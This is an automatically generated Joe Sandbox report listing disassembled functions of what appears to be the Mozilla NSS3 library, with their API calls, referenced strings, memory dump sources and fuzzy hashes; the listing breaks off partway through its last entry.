API String ID: 3862423791-0
Opcode ID: 3f4c4615b05d9962ad3117ddb62d4a5c1c02b2f797245107bc67aa6a59e001c7
Instruction ID: bcb68c1a5ed3201a88e729ffe584952dd427677d81ec3a0b3991e0ccc28f3d24
Opcode Fuzzy Hash: 3f4c4615b05d9962ad3117ddb62d4a5c1c02b2f797245107bc67aa6a59e001c7
Instruction Fuzzy Hash: B031E5B1B0DA109BEB50EE25DE0FB4737B8DB17368F654528E905A7E40E3748608CBE5

Function 6C752E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C752F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C752FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C753005
memcpy.VCRUNTIME140(?,?,?), ref: 6C7530EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C753131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C753178

Strings

%s at line %d of [%.10s], xrefs: 6C753171
database corruption, xrefs: 6C75316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C753022, 6C753156, 6C753162, 6C75318A, 6C753196, 6C7531A2, 6C7531AE, 6C7531BA, 6C7531C6

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 2a6aecd6d46296f47db7789c35d121f08bd575321b27aaafa62d2eaff5354b4a
Instruction ID: eb37b1ab0fdadfb74cd4c7ec6330cb58322a6b65da3c524f7054bb3aae646542
Opcode Fuzzy Hash: 2a6aecd6d46296f47db7789c35d121f08bd575321b27aaafa62d2eaff5354b4a
Instruction Fuzzy Hash: C0B1E570E05219DBDB18CF9DC984AEEB7B2BF48304F54442EE809B7B51DB759852CBA0

Function 6C732400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6C7324EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6C732315), ref: 6C73254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6C732315), ref: 6C73256C

Strings

%s at line %d of [%.10s], xrefs: 6C732566
bind on a busy prepared statement: [%s], xrefs: 6C7324E6
misuse, xrefs: 6C732561
API called with finalized prepared statement, xrefs: 6C732543, 6C73254D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7324F4, 6C732557
API called with NULL prepared statement, xrefs: 6C73253C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: 6e7773feb9162ddaeb1ec7327ba9ccaebc89f7bdb3a8e883dfc37b4e878735eb
Instruction ID: d1af96817d29ebc65acdf25fdb798447a68adb8e04bc3b4b370616d7b87bbab8
Opcode Fuzzy Hash: 6e7773feb9162ddaeb1ec7327ba9ccaebc89f7bdb3a8e883dfc37b4e878735eb
Instruction Fuzzy Hash: EF412271704610CBE7248F29EA9CB6633B2AF86318F24493CE8594BB43DB36E805C7D1

Function 6C80A470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C80A4A6

Part of subcall function 6C810840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C8108B4

PORT_Alloc_Util.NSS3(?), ref: 6C80A4EC

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C80A527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6C80A56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C80A583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C80A596
free.MOZGLUE(?), ref: 6C80A5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C80A5B6

Strings

^j|l, xrefs: 6C80A475

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID: ^j|l
API String ID: 3906949479-2287530738
Opcode ID: 6185a1eb3ed67d0e6db7ae476be969fcf87c00fbd6be5f8bf9a978c945895cdd
Instruction ID: 0ac15f0f45740b09d68c6af5ef04c7caf3fa1f9d5409ad4db09b5fb424aff3b8
Opcode Fuzzy Hash: 6185a1eb3ed67d0e6db7ae476be969fcf87c00fbd6be5f8bf9a978c945895cdd
Instruction Fuzzy Hash: BF412B31B042469FEB20CF99CD41BDABBB1BF50308F14C868D8595BB42E731E919C7A2

Function 6C736600 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 95COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,NULL), ref: 6C736C66
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0001F490,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C736C83

Strings

%s at line %d of [%.10s], xrefs: 6C736C7D
API call with %s database connection pointer, xrefs: 6C736C60
unopened, xrefs: 6C736C9F
NULL, xrefs: 6C736C55, 6C736C5F
misuse, xrefs: 6C736C78
invalid, xrefs: 6C736C95
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C736C6E

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 632333372-4248800309
Opcode ID: 302c40f9e6171b353ddb1006def89aedce9fc02458a517139c785affd69c7991
Instruction ID: ec76d19f82152eaba60edd596f3c0deca7a90db2d06b04fe68e298e1550ecae6
Opcode Fuzzy Hash: 302c40f9e6171b353ddb1006def89aedce9fc02458a517139c785affd69c7991
Instruction Fuzzy Hash: 92313E71B041249BDB108E2A8E457AB3BB6FB86318F14553CDD1CDBB86E730EA4587D1

Function 6C7E6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C7E6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E6CA3

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C7E6CD5

Strings

C_DigestInit, xrefs: 6C7E6C61
(CK_INVALID_HANDLE), xrefs: 6C7E6C9C
pMechanism = 0x%p, xrefs: 6C7E6CD0
hSession = 0x%x, xrefs: 6C7E6C7E, 6C7E6C8E

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: e1d57cadd2a5e6610cf413cf98ec4efce96e4a8e70c2a7e420e62ca6ad96ad5c
Instruction ID: cdaefa19cb52713290a589129b3410764dc4513e190029c08b61bb9f2498354c
Opcode Fuzzy Hash: e1d57cadd2a5e6610cf413cf98ec4efce96e4a8e70c2a7e420e62ca6ad96ad5c
Instruction Fuzzy Hash: 0121F5367041089FDB10EB699F4FB9E37B5EB4A318F544439E50997F12DB30AA08CB92

Function 6C7B0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7B0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C7B0F84

Part of subcall function 6C80B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8E18D0,?), ref: 6C80B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C7CF59B,6C8D890C,?), ref: 6C7B0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C7B0FC1

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C7B0FDB
PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C7B0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C7B1001
PL_FinishArenaPool.NSS3(?), ref: 6C7B1009

Strings

security, xrefs: 6C7B0F5C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 63de5b2ab7cb08bfd1658f247e27e31a0fb000330b7f3b09e9ff0c423a9ecaa5
Instruction ID: a526be0aac972a21e090319aff5847cbdd40899ff519ac6ad19eb9b1ae75200c
Opcode Fuzzy Hash: 63de5b2ab7cb08bfd1658f247e27e31a0fb000330b7f3b09e9ff0c423a9ecaa5
Instruction Fuzzy Hash: 012136B1A08204ABE7209F28DE41EAB77B4EF45658F108828FC5897B01F731E515CBD2

Function 6C7B6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C7B7D8F,6C7B7D8F,?,?), ref: 6C7B6DC8

Part of subcall function 6C80FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C80FE08
Part of subcall function 6C80FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C80FE1D
Part of subcall function 6C80FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C80FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C7B7D8F,?,?), ref: 6C7B6DD5

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C8D8FA0,00000000,?,?,?,?,6C7B7D8F,?,?), ref: 6C7B6DF7

Part of subcall function 6C80B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8E18D0,?), ref: 6C80B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C7B6E35

Part of subcall function 6C80FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C80FE29
Part of subcall function 6C80FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C80FE3D
Part of subcall function 6C80FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C80FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C7B6E4C

Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C8D8FE0,00000000), ref: 6C7B6E82

Part of subcall function 6C7B6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C7BB21D,00000000,00000000,6C7BB219,?,6C7B6BFB,00000000,?,00000000,00000000,?,?,?,6C7BB21D), ref: 6C7B6B01
Part of subcall function 6C7B6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C7B6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C7B6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C7B6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C8D8FE0,00000000), ref: 6C7B6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C7B7D8F,?,?), ref: 6C7B6FE1

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: ba9088399efcd2c9d5fe26620b26f6dcef53a3d2abdbd2432ce500418788485c
Instruction ID: 6ccadf8516f975190eee93f2efede7a95871d78cf58bf827b938e3415051ec83
Opcode Fuzzy Hash: ba9088399efcd2c9d5fe26620b26f6dcef53a3d2abdbd2432ce500418788485c
Instruction Fuzzy Hash: 54717F71E106469FEB04CF15CE40BAABBA8BF55348F154639E908E7B11F770EA94CB90

Function 6C7F0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7F1085
PK11_GetAllTokens.NSS3 ref: 6C7F10B1
free.MOZGLUE(?), ref: 6C7F1107
PR_SetError.NSS3(00000000,00000000), ref: 6C7F1172
free.MOZGLUE(?), ref: 6C7F1182
free.MOZGLUE(?), ref: 6C7F11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7F11C5

Part of subcall function 6C7F52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C7CEAC5,00000001), ref: 6C7F52DF
Part of subcall function 6C7F52C0: EnterCriticalSection.KERNEL32(?), ref: 6C7F52F3
Part of subcall function 6C7F52C0: PR_Unlock.NSS3(?), ref: 6C7F5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7F11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7F11F3

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 6f65e9755cc96de5fac0239395b3c8cced2d73f1e116c8dd85ee91f8e696fe87
Instruction ID: 7374d77db7e60af5ec899a26ebab99e0ab383433ac2cb61ecdc350e08b422ff1
Opcode Fuzzy Hash: 6f65e9755cc96de5fac0239395b3c8cced2d73f1e116c8dd85ee91f8e696fe87
Instruction Fuzzy Hash: 2B61A2F0E043459BEB10DF68DE85BAAB7B5BF04348F144138E829AB741E731E955CBA1

Function 6C7FADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE10
EnterCriticalSection.KERNEL32(?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C7DD079,00000000,00000001), ref: 6C7FAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE7F
TlsGetValue.KERNEL32(?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAEF1
free.MOZGLUE(6C7DCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7DCDBB,?), ref: 6C7FAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAF30

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 953e5945dce56e5c3578d8c0bafc863ed94b4962ffb9aedbf191e14afda24722
Instruction ID: 6a82179b85ec58b23656fcafd6eda1ba48b1e83aca219c898690717d48b321b3
Opcode Fuzzy Hash: 953e5945dce56e5c3578d8c0bafc863ed94b4962ffb9aedbf191e14afda24722
Instruction Fuzzy Hash: A251A0B1A00601EFEB00DF29C986B55B7B4FF05328F144669D8289BF11E731E965CBD1

Function 6C7D4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C7DAB7F,?,00000000,?), ref: 6C7D4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C7DAB7F,?,00000000,?), ref: 6C7D4CC8
TlsGetValue.KERNEL32(?,6C7DAB7F,?,00000000,?), ref: 6C7D4CE0
EnterCriticalSection.KERNEL32(?,?,6C7DAB7F,?,00000000,?), ref: 6C7D4CF4
PL_HashTableLookup.NSS3(?,?,?,6C7DAB7F,?,00000000,?), ref: 6C7D4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C7D4D10

Part of subcall function 6C85DD70: TlsGetValue.KERNEL32 ref: 6C85DD8C
Part of subcall function 6C85DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C85DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C7D4D26

Part of subcall function 6C879DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C8C0A27), ref: 6C879DC6
Part of subcall function 6C879DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C8C0A27), ref: 6C879DD1

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C7D4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C7D4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C7D4E02

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTable
String ID:
API String ID: 3089169597-0
Opcode ID: ad391f71c9f953c081a12d74f23c3ffddd62c3b6bae103f19b160ae12d9d39e8
Instruction ID: c3d3c6b57b6dc59ae7e100a18602b59247bd9848243008607cb920b327411490
Opcode Fuzzy Hash: ad391f71c9f953c081a12d74f23c3ffddd62c3b6bae103f19b160ae12d9d39e8
Instruction Fuzzy Hash: 8841F8B5A00205AFEB105F28EE49A6A77B8EF1531DF054570ED0887B11FB31E968C7E2

Function 6C7B2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C7B2CDA,?,00000000), ref: 6C7B2E1E

Part of subcall function 6C80FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C7B9003,?), ref: 6C80FD91
Part of subcall function 6C80FD80: PORT_Alloc_Util.NSS3(A4686C81,?), ref: 6C80FDA2
Part of subcall function 6C80FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C81,?,?), ref: 6C80FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C7B2E33

Part of subcall function 6C80FD80: free.MOZGLUE(00000000,?,?), ref: 6C80FDD1

TlsGetValue.KERNEL32 ref: 6C7B2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C7B2E5E
PL_HashTableLookup.NSS3(?), ref: 6C7B2E71
PL_HashTableRemove.NSS3(?), ref: 6C7B2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C7B2E96
PR_Unlock.NSS3 ref: 6C7B2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7B2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7B2EC5

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
